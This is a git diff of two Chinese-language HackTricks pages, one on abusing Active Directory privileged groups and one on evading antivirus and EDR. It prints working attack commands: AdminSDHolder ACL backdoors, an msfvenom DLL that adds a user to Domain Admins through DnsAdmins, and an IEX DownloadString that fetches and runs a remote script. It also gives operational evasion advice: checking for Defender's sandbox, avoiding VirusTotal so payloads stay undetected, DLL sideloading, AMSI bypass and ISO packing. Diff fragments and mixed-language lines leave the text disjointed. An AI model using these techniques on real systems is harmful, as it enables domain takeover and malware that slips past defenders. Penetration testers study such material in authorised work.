|
||||||
|
|
||||||
## AdminSDHolder 组
|
## AdminSDHolder 组
|
||||||
|
|
||||||
**AdminSDHolder** 组的访问控制列表 (ACL) 是至关重要的,因为它设置了 Active Directory 中所有“受保护组”的权限,包括高权限组。该机制通过防止未经授权的修改来确保这些组的安全性。
|
**AdminSDHolder** 组的访问控制列表 (ACL) 至关重要,因为它为 Active Directory 中所有“受保护组”设置权限,包括高权限组。该机制通过防止未经授权的修改来确保这些组的安全性。
|
||||||
|
|
||||||
攻击者可以通过修改 **AdminSDHolder** 组的 ACL 来利用这一点,从而授予标准用户完全的权限。这将有效地使该用户对所有受保护组拥有完全控制权。如果该用户的权限被更改或移除,由于系统的设计,他们的权限将在一小时内自动恢复。
|
攻击者可以通过修改 **AdminSDHolder** 组的 ACL 来利用这一点,从而授予标准用户完全的权限。这将有效地使该用户对所有受保护组拥有完全控制权。如果该用户的权限被更改或删除,由于系统的设计,他们将在一小时内自动恢复。
|
||||||
|
|
||||||
审查成员和修改权限的命令包括:
|
查看成员和修改权限的命令包括:
|
||||||
```powershell
|
```powershell
|
||||||
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
|
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
|
||||||
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
|
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
|
||||||
|
@ -49,17 +56,17 @@ Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityRefer
|
||||||
|
|
||||||
## AD 回收站
|
## AD 回收站
|
||||||
|
|
||||||
该组的成员资格允许读取已删除的 Active Directory 对象,这可能会泄露敏感信息:
|
加入此组允许读取已删除的 Active Directory 对象,这可能会揭示敏感信息:
|
||||||
```bash
|
```bash
|
||||||
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
|
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
|
||||||
```
|
```
|
||||||
### 域控制器访问
|
### 域控制器访问
|
||||||
|
|
||||||
对 DC 上文件的访问受到限制,除非用户是 `Server Operators` 组的一部分,这会改变访问级别。
|
对DC上文件的访问受到限制,除非用户是`Server Operators`组的一部分,这会改变访问级别。
|
||||||
|
|
||||||
### 权限提升
|
### 权限提升
|
||||||
|
|
||||||
使用 Sysinternals 的 `PsService` 或 `sc`,可以检查和修改服务权限。例如,`Server Operators` 组对某些服务拥有完全控制权,允许执行任意命令和权限提升:
|
使用Sysinternals的`PsService`或`sc`,可以检查和修改服务权限。例如,`Server Operators`组对某些服务拥有完全控制权,允许执行任意命令和权限提升:
|
||||||
```cmd
|
```cmd
|
||||||
C:\> .\PsService.exe security AppReadiness
|
C:\> .\PsService.exe security AppReadiness
|
||||||
```
|
```
|
||||||
|
@ -67,7 +74,7 @@ C:\> .\PsService.exe security AppReadiness
|
||||||
|
|
||||||
## 备份操作员
|
## 备份操作员
|
||||||
|
|
||||||
加入 `Backup Operators` 组可访问 `DC01` 文件系统,因为拥有 `SeBackup` 和 `SeRestore` 权限。这些权限使得文件夹遍历、列出和文件复制成为可能,即使没有明确的权限,也可以使用 `FILE_FLAG_BACKUP_SEMANTICS` 标志。此过程需要使用特定的脚本。
|
加入 `Backup Operators` 组可以访问 `DC01` 文件系统,因为拥有 `SeBackup` 和 `SeRestore` 权限。这些权限使得文件夹遍历、列出和文件复制成为可能,即使没有明确的权限,也可以使用 `FILE_FLAG_BACKUP_SEMANTICS` 标志。此过程需要使用特定的脚本。
|
||||||
|
|
||||||
要列出组成员,请执行:
|
要列出组成员,请执行:
|
||||||
```powershell
|
```powershell
|
||||||
|
@ -143,7 +150,7 @@ echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\
|
||||||
|
|
||||||
## DnsAdmins
|
## DnsAdmins
|
||||||
|
|
||||||
**DnsAdmins** 组的成员可以利用他们的特权在 DNS 服务器上加载任意 DLL,通常托管在域控制器上。此能力允许显著的利用潜力。
|
**DnsAdmins** 组的成员可以利用他们的特权在 DNS 服务器上加载具有 SYSTEM 特权的任意 DLL,通常托管在域控制器上。这种能力允许显著的利用潜力。
|
||||||
|
|
||||||
要列出 DnsAdmins 组的成员,请使用:
|
要列出 DnsAdmins 组的成员,请使用:
|
||||||
```powershell
|
```powershell
|
||||||
|
@ -171,20 +178,20 @@ system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /doma
|
||||||
// Generate DLL with msfvenom
|
// Generate DLL with msfvenom
|
||||||
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
|
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
|
||||||
```
|
```
|
||||||
重启DNS服务(这可能需要额外的权限)是加载DLL所必需的:
|
重新启动 DNS 服务(这可能需要额外的权限)是加载 DLL 所必需的:
|
||||||
```csharp
|
```csharp
|
||||||
sc.exe \\dc01 stop dns
|
sc.exe \\dc01 stop dns
|
||||||
sc.exe \\dc01 start dns
|
sc.exe \\dc01 start dns
|
||||||
```
|
```
|
||||||
对于此攻击向量的更多细节,请参考 ired.team。
|
For more details on this attack vector, refer to ired.team.
|
||||||
|
|
||||||
#### Mimilib.dll
|
#### Mimilib.dll
|
||||||
使用 mimilib.dll 进行命令执行也是可行的,可以修改它以执行特定命令或反向 shell。[查看此帖子](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html)以获取更多信息。
|
使用 mimilib.dll 进行命令执行也是可行的,可以修改它以执行特定命令或反向 shell。[查看此帖子](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html)以获取更多信息。
|
||||||
|
|
||||||
### WPAD 记录用于 MitM
|
### WPAD Record for MitM
|
||||||
DnsAdmins 可以操纵 DNS 记录,通过在禁用全局查询阻止列表后创建 WPAD 记录来执行中间人(MitM)攻击。可以使用 Responder 或 Inveigh 等工具进行欺骗和捕获网络流量。
|
DnsAdmins 可以操纵 DNS 记录,通过在禁用全局查询阻止列表后创建 WPAD 记录来执行中间人 (MitM) 攻击。可以使用 Responder 或 Inveigh 等工具进行欺骗和捕获网络流量。
|
||||||
|
|
||||||
### 事件日志读取器
|
### Event Log Readers
|
||||||
成员可以访问事件日志,可能会找到敏感信息,例如明文密码或命令执行细节:
|
成员可以访问事件日志,可能会找到敏感信息,例如明文密码或命令执行细节:
|
||||||
```powershell
|
```powershell
|
||||||
# Get members and search logs for sensitive information
|
# Get members and search logs for sensitive information
|
||||||
|
@ -216,7 +223,7 @@ sc.exe start MozillaMaintenance
|
||||||
### 特权利用和命令
|
### 特权利用和命令
|
||||||
|
|
||||||
#### 打印操作员
|
#### 打印操作员
|
||||||
**打印操作员**组的成员被赋予多个特权,包括**`SeLoadDriverPrivilege`**,这使他们能够**在域控制器上本地登录**、关闭它并管理打印机。为了利用这些特权,特别是在**`SeLoadDriverPrivilege`**在未提升的上下文中不可见的情况下,必须绕过用户帐户控制(UAC)。
|
**打印操作员**组的成员被赋予多个特权,包括**`SeLoadDriverPrivilege`**,这使他们能够**在域控制器上本地登录**、关闭它并管理打印机。为了利用这些特权,特别是当**`SeLoadDriverPrivilege`**在未提升的上下文中不可见时,绕过用户帐户控制(UAC)是必要的。
|
||||||
|
|
||||||
要列出该组的成员,可以使用以下PowerShell命令:
|
要列出该组的成员,可以使用以下PowerShell命令:
|
||||||
```powershell
|
```powershell
|
||||||
|
@ -241,7 +248,7 @@ Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Us
|
||||||
对于与 **WinRM** 相关的利用技术,应参考特定文档。
|
对于与 **WinRM** 相关的利用技术,应参考特定文档。
|
||||||
|
|
||||||
#### 服务器操作员
|
#### 服务器操作员
|
||||||
该组具有在域控制器上执行各种配置的权限,包括备份和恢复权限、改变系统时间和关闭系统。要枚举成员,可以使用以下命令:
|
该组具有在域控制器上执行各种配置的权限,包括备份和恢复权限、改变系统时间和关闭系统。要列举成员,可以使用以下命令:
|
||||||
```powershell
|
```powershell
|
||||||
Get-NetGroupMember -Identity "Server Operators" -Recurse
|
Get-NetGroupMember -Identity "Server Operators" -Recurse
|
||||||
```
|
```
|
||||||
|
@ -262,17 +269,24 @@ Get-NetGroupMember -Identity "Server Operators" -Recurse
|
||||||
* [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e)
|
* [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e)
|
||||||
* [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html)
|
* [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html)
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) 轻松构建和 **自动化工作流程**,由世界上 **最先进** 的社区工具提供支持。\
|
||||||
|
今天就获取访问权限:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践 GCP 黑客技术: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,6 +15,12 @@
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||||
|
|
||||||
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
**本页面由** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**撰写!**
|
**本页面由** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**撰写!**
|
||||||
|
|
||||||
## **AV 规避方法论**
|
## **AV 规避方法论**
|
||||||
|
@ -23,7 +29,7 @@
|
||||||
|
|
||||||
### **静态检测**
|
### **静态检测**
|
||||||
|
|
||||||
静态检测是通过标记已知的恶意字符串或字节数组在二进制文件或脚本中实现的,同时还提取文件本身的信息(例如,文件描述、公司名称、数字签名、图标、校验和等)。这意味着使用已知的公共工具可能更容易被捕获,因为它们可能已经被分析并标记为恶意。有几种方法可以绕过这种检测:
|
静态检测是通过标记已知的恶意字符串或字节数组在二进制文件或脚本中实现的,同时还提取文件本身的信息(例如文件描述、公司名称、数字签名、图标、校验和等)。这意味着使用已知的公共工具可能更容易被捕获,因为它们可能已经被分析并标记为恶意。有几种方法可以绕过这种检测:
|
||||||
|
|
||||||
* **加密**
|
* **加密**
|
||||||
|
|
||||||
|
@ -31,7 +37,7 @@
|
||||||
|
|
||||||
* **混淆**
|
* **混淆**
|
||||||
|
|
||||||
有时你只需要更改二进制文件或脚本中的一些字符串就可以通过 AV,但这可能是一个耗时的任务,具体取决于你想混淆的内容。
|
有时你只需要更改二进制文件或脚本中的一些字符串就可以通过 AV,但这可能是一个耗时的任务,具体取决于你想要混淆的内容。
|
||||||
|
|
||||||
* **自定义工具**
|
* **自定义工具**
|
||||||
|
|
||||||
|
@ -45,25 +51,25 @@
|
||||||
|
|
||||||
### **动态分析**
|
### **动态分析**
|
||||||
|
|
||||||
动态分析是指 AV 在沙箱中运行你的二进制文件并监视恶意活动(例如,尝试解密并读取浏览器的密码,执行 LSASS 的小转储等)。这一部分可能更难处理,但这里有一些你可以做的事情来规避沙箱。
|
动态分析是指 AV 在沙箱中运行你的二进制文件并监视恶意活动(例如,尝试解密并读取浏览器的密码,执行 LSASS 的小型转储等)。这一部分可能更难处理,但这里有一些你可以做的事情来规避沙箱。
|
||||||
|
|
||||||
* **执行前休眠** 根据实现方式,这可能是绕过 AV 动态分析的好方法。AV 扫描文件的时间非常短,以免打断用户的工作流程,因此使用长时间的休眠可以干扰二进制文件的分析。问题是许多 AV 的沙箱可以根据实现方式跳过休眠。
|
* **执行前休眠** 根据实现方式,这可能是绕过 AV 动态分析的好方法。AV 扫描文件的时间非常短,以免打断用户的工作流程,因此使用长时间的休眠可以干扰二进制文件的分析。问题是许多 AV 的沙箱可以根据实现方式跳过休眠。
|
||||||
* **检查机器资源** 通常沙箱可用的资源非常少(例如,< 2GB RAM),否则它们可能会减慢用户的机器。你也可以在这里发挥创造力,例如检查 CPU 的温度或风扇速度,并不是所有内容都会在沙箱中实现。
|
* **检查机器资源** 通常沙箱可用的资源非常少(例如 < 2GB RAM),否则它们可能会减慢用户的机器。你也可以在这里发挥创造力,例如检查 CPU 的温度或风扇速度,并不是所有内容都会在沙箱中实现。
|
||||||
* **特定机器检查** 如果你想针对加入“contoso.local”域的用户的工作站,你可以检查计算机的域以查看是否与指定的域匹配,如果不匹配,你可以让程序退出。
|
* **特定机器检查** 如果你想针对加入“contoso.local”域的用户的工作站,你可以检查计算机的域以查看是否与指定的域匹配,如果不匹配,你可以让程序退出。
|
||||||
|
|
||||||
事实证明,Microsoft Defender 的沙箱计算机名是 HAL9TH,因此,你可以在恶意软件引爆前检查计算机名,如果名称匹配 HAL9TH,则意味着你在 Defender 的沙箱中,因此可以让程序退出。
|
事实证明,Microsoft Defender 的沙箱计算机名是 HAL9TH,因此,你可以在恶意软件引爆前检查计算机名,如果名称匹配 HAL9TH,则意味着你在 Defender 的沙箱中,因此可以让程序退出。
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>来源: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>来源: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||||
|
|
||||||
一些来自 [@mgeeky](https://twitter.com/mariuszbit) 的非常好的建议,用于对抗沙箱
|
一些来自 [@mgeeky](https://twitter.com/mariuszbit) 的非常好的建议,用于对抗沙箱
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">红队 VX Discord</a> #malware-dev 频道</p></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">红队 VX Discord</a> #malware-dev 频道</p></figcaption></figure>
|
||||||
|
|
||||||
正如我们在这篇文章中之前所说,**公共工具**最终会被 **检测到**,所以你应该问自己一个问题:
|
正如我们在这篇文章中之前所说的,**公共工具**最终会被 **检测到**,所以你应该问自己一个问题:
|
||||||
|
|
||||||
例如,如果你想转储 LSASS,**你真的需要使用 mimikatz 吗**?或者你可以使用一个不太知名的项目来转储 LSASS。
|
例如,如果你想转储 LSASS,**你真的需要使用 mimikatz 吗**?或者你可以使用一个不太知名的项目来转储 LSASS。
|
||||||
|
|
||||||
正确的答案可能是后者。以 mimikatz 为例,它可能是被 AV 和 EDR 标记的最多的恶意软件之一,尽管该项目本身非常酷,但在绕过 AV 时使用它也是一场噩梦,因此只需寻找替代方案来实现你的目标。
|
正确的答案可能是后者。以 mimikatz 为例,它可能是被 AV 和 EDR 标记的恶意软件中最被标记的之一,尽管该项目本身非常酷,但在绕过 AV 时与之合作也是一场噩梦,因此只需寻找替代方案来实现你的目标。
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
在修改你的有效载荷以进行规避时,请确保 **关闭 Defender 的自动样本提交**,并且请认真考虑,**如果你的目标是长期规避,请不要上传到 VIRUSTOTAL**。如果你想检查你的有效载荷是否被特定 AV 检测到,请在虚拟机上安装它,尝试关闭自动样本提交,并在那里进行测试,直到你对结果满意为止。
|
在修改你的有效载荷以进行规避时,请确保 **关闭 Defender 的自动样本提交**,并且请认真考虑,**如果你的目标是长期规避,请不要上传到 VIRUSTOTAL**。如果你想检查你的有效载荷是否被特定 AV 检测到,请在虚拟机上安装它,尝试关闭自动样本提交,并在那里进行测试,直到你对结果满意为止。
|
||||||
|
@ -71,7 +77,7 @@
|
||||||
|
|
||||||
## EXEs 与 DLLs
|
## EXEs 与 DLLs
|
||||||
|
|
||||||
每当可能时,总是 **优先使用 DLL 进行规避**,根据我的经验,DLL 文件通常 **被检测和分析的概率更低**,因此在某些情况下使用它是一种非常简单的技巧(当然前提是你的有效载荷有某种方式以 DLL 的形式运行)。
|
每当可能时,总是 **优先使用 DLL 进行规避**,根据我的经验,DLL 文件通常 **被检测和分析的概率要低得多**,因此在某些情况下使用它来避免检测是一个非常简单的技巧(当然,如果你的有效载荷有某种方式以 DLL 的形式运行)。
|
||||||
|
|
||||||
正如我们在这张图片中看到的,Havoc 的 DLL 有效载荷在 antiscan.me 上的检测率为 4/26,而 EXE 有效载荷的检测率为 7/26。
|
正如我们在这张图片中看到的,Havoc 的 DLL 有效载荷在 antiscan.me 上的检测率为 4/26,而 EXE 有效载荷的检测率为 7/26。
|
||||||
|
|
||||||
|
@ -94,7 +100,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
此命令将输出“C:\Program Files\\”中易受DLL劫持的程序列表及其尝试加载的DLL文件。
|
此命令将输出“C:\Program Files\\”中易受DLL劫持影响的程序列表及其尝试加载的DLL文件。
|
||||||
|
|
||||||
我强烈建议您**自己探索可被DLL劫持/侧载的程序**,如果正确执行,这种技术相当隐蔽,但如果您使用公开已知的DLL侧载程序,可能会很容易被抓住。
|
我强烈建议您**自己探索可被DLL劫持/侧载的程序**,如果正确执行,这种技术相当隐蔽,但如果您使用公开已知的DLL侧载程序,可能会很容易被抓住。
|
||||||
|
|
||||||
|
@ -134,7 +140,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
|
||||||
<figure><img src="../.gitbook/assets/image (193).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (193).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
我 **强烈推荐** 你观看 [S3cur3Th1sSh1t 的 twitch VOD](https://www.twitch.tv/videos/1644171543) 关于 DLL 侧载,以及 [ippsec 的视频](https://www.youtube.com/watch?v=3eROsG\_WNpE) 以更深入地了解我们讨论的内容。
|
我 **强烈推荐** 你观看 [S3cur3Th1sSh1t 的 twitch VOD](https://www.twitch.tv/videos/1644171543) 关于 DLL Sideloading,以及 [ippsec 的视频](https://www.youtube.com/watch?v=3eROsG\_WNpE) 以更深入地了解我们讨论的内容。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## [**Freeze**](https://github.com/optiv/Freeze)
|
## [**Freeze**](https://github.com/optiv/Freeze)
|
||||||
|
@ -151,28 +157,28 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
|
||||||
<figure><img src="../.gitbook/assets/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
规避只是猫和老鼠的游戏,今天有效的方法明天可能会被检测到,因此永远不要仅依赖一个工具,如果可能,尝试将多个规避技术结合起来。
|
规避只是猫和老鼠的游戏,今天有效的方法明天可能会被检测到,因此永远不要仅依赖一个工具,如果可能的话,尝试将多个规避技术结合起来。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## AMSI(反恶意软件扫描接口)
|
## AMSI(反恶意软件扫描接口)
|
||||||
|
|
||||||
AMSI的创建是为了防止“[无文件恶意软件](https://en.wikipedia.org/wiki/Fileless\_malware)”。最初,AV只能扫描**磁盘上的文件**,因此如果你能够以某种方式**直接在内存中执行有效载荷**,AV就无法采取任何措施来阻止它,因为它没有足够的可见性。
|
AMSI的创建是为了防止“[无文件恶意软件](https://en.wikipedia.org/wiki/Fileless\_malware)”。最初,AV只能扫描**磁盘上的文件**,因此如果你能够以某种方式**直接在内存中执行有效载荷**,AV就无能为力,因为它没有足够的可见性。
|
||||||
|
|
||||||
AMSI功能集成在Windows的以下组件中。
|
AMSI功能集成在Windows的以下组件中。
|
||||||
|
|
||||||
* 用户帐户控制,或UAC(提升EXE、COM、MSI或ActiveX安装)
|
* 用户帐户控制,或UAC(EXE、COM、MSI或ActiveX安装的提升)
|
||||||
* PowerShell(脚本、交互使用和动态代码评估)
|
* PowerShell(脚本、交互使用和动态代码评估)
|
||||||
* Windows脚本宿主(wscript.exe和cscript.exe)
|
* Windows脚本宿主(wscript.exe和cscript.exe)
|
||||||
* JavaScript和VBScript
|
* JavaScript和VBScript
|
||||||
* Office VBA宏
|
* Office VBA宏
|
||||||
|
|
||||||
它允许杀毒软件通过以未加密和未混淆的形式暴露脚本内容来检查脚本行为。
|
它允许杀毒解决方案通过以未加密和未混淆的形式暴露脚本内容来检查脚本行为。
|
||||||
|
|
||||||
运行 `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` 将在Windows Defender上产生以下警报。
|
运行 `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` 将在Windows Defender上产生以下警报。
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1135).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1135).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
注意它是如何在脚本运行的可执行文件路径前加上 `amsi:` 的,在这种情况下是powershell.exe。
|
注意它如何在前面加上 `amsi:`,然后是脚本运行的可执行文件的路径,在这种情况下是powershell.exe。
|
||||||
|
|
||||||
我们没有将任何文件写入磁盘,但仍然因为AMSI在内存中被捕获。
|
我们没有将任何文件写入磁盘,但仍然因为AMSI在内存中被捕获。
|
||||||
|
|
||||||
|
@ -182,7 +188,7 @@ AMSI功能集成在Windows的以下组件中。
|
||||||
|
|
||||||
由于AMSI主要依赖静态检测,因此修改你尝试加载的脚本可能是规避检测的好方法。
|
由于AMSI主要依赖静态检测,因此修改你尝试加载的脚本可能是规避检测的好方法。
|
||||||
|
|
||||||
然而,AMSI有能力解混淆脚本,即使它有多层,因此混淆可能是一个糟糕的选择,具体取决于其实现方式。这使得规避变得不那么简单。尽管有时,你所需要做的只是更改几个变量名称,你就可以成功,因此这取决于某个内容被标记的程度。
|
然而,AMSI有能力解混淆脚本,即使它有多层,因此混淆可能是一个糟糕的选择,具体取决于其实现方式。这使得规避变得不那么简单。尽管有时,你所需要做的只是更改几个变量名称,你就可以成功,因此这取决于某个东西被标记的程度。
|
||||||
|
|
||||||
* **AMSI绕过**
|
* **AMSI绕过**
|
||||||
|
|
||||||
|
@ -288,7 +294,7 @@ Adding file: /TotallyLegitApp.exe
|
||||||
|
|
||||||
[+] Generated file written to (size: 3420160): container.iso
|
[+] Generated file written to (size: 3420160): container.iso
|
||||||
```
|
```
|
||||||
这里是一个演示,通过使用 [PackMyPayload](https://github.com/mgeeky/PackMyPayload/) 将有效载荷打包在 ISO 文件中来绕过 SmartScreen。
|
这里是一个演示,通过使用 [PackMyPayload](https://github.com/mgeeky/PackMyPayload/) 将有效负载打包在 ISO 文件中来绕过 SmartScreen。
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -296,19 +302,19 @@ Adding file: /TotallyLegitApp.exe
|
||||||
|
|
||||||
在内存中加载 C# 二进制文件已经被知道了一段时间,这仍然是运行后渗透工具而不被 AV 捕获的非常好方法。
|
在内存中加载 C# 二进制文件已经被知道了一段时间,这仍然是运行后渗透工具而不被 AV 捕获的非常好方法。
|
||||||
|
|
||||||
由于有效载荷将直接加载到内存中而不接触磁盘,我们只需担心在整个过程中修补 AMSI。
|
由于有效负载将直接加载到内存中而不接触磁盘,我们只需担心在整个过程中修补 AMSI。
|
||||||
|
|
||||||
大多数 C2 框架(sliver、Covenant、metasploit、CobaltStrike、Havoc 等)已经提供了直接在内存中执行 C# 程序集的能力,但有不同的方法来做到这一点:
|
大多数 C2 框架(sliver、Covenant、metasploit、CobaltStrike、Havoc 等)已经提供了直接在内存中执行 C# 程序集的能力,但有不同的方法来做到这一点:
|
||||||
|
|
||||||
* **Fork\&Run**
|
* **Fork\&Run**
|
||||||
|
|
||||||
这涉及到 **生成一个新的牺牲进程**,将你的后渗透恶意代码注入到那个新进程中,执行你的恶意代码,完成后杀死新进程。这有其优点和缺点。Fork 和 run 方法的好处在于执行发生在我们的 Beacon 植入进程 **之外**。这意味着如果我们的后渗透操作出现问题或被捕获,我们的 **植入物存活的机会更大**。缺点是你被 **行为检测** 捕获的 **机会更大**。
|
这涉及到 **生成一个新的牺牲进程**,将你的后渗透恶意代码注入到那个新进程中,执行你的恶意代码,完成后杀死新进程。这有其优点和缺点。Fork 和 run 方法的好处在于执行发生在 **我们的 Beacon 植入进程之外**。这意味着如果我们的后渗透操作中的某些事情出错或被捕获,我们的 **植入物存活的机会会更大**。缺点是你有 **更大的机会** 被 **行为检测** 捕获。
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (215).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (215).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
* **Inline**
|
* **Inline**
|
||||||
|
|
||||||
这是将后渗透恶意代码 **注入到其自身进程中**。这样,你可以避免创建新进程并让其被 AV 扫描,但缺点是如果你的有效载荷执行出现问题,**失去你的 beacon 的机会更大**,因为它可能崩溃。
|
这涉及将后渗透恶意代码 **注入到其自身进程中**。这样,你可以避免创建新进程并让其被 AV 扫描,但缺点是如果你的有效负载执行出现问题,**失去你的 beacon 的机会会更大**,因为它可能会崩溃。
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1136).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1136).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -336,7 +342,7 @@ Adding file: /TotallyLegitApp.exe
|
||||||
|
|
||||||
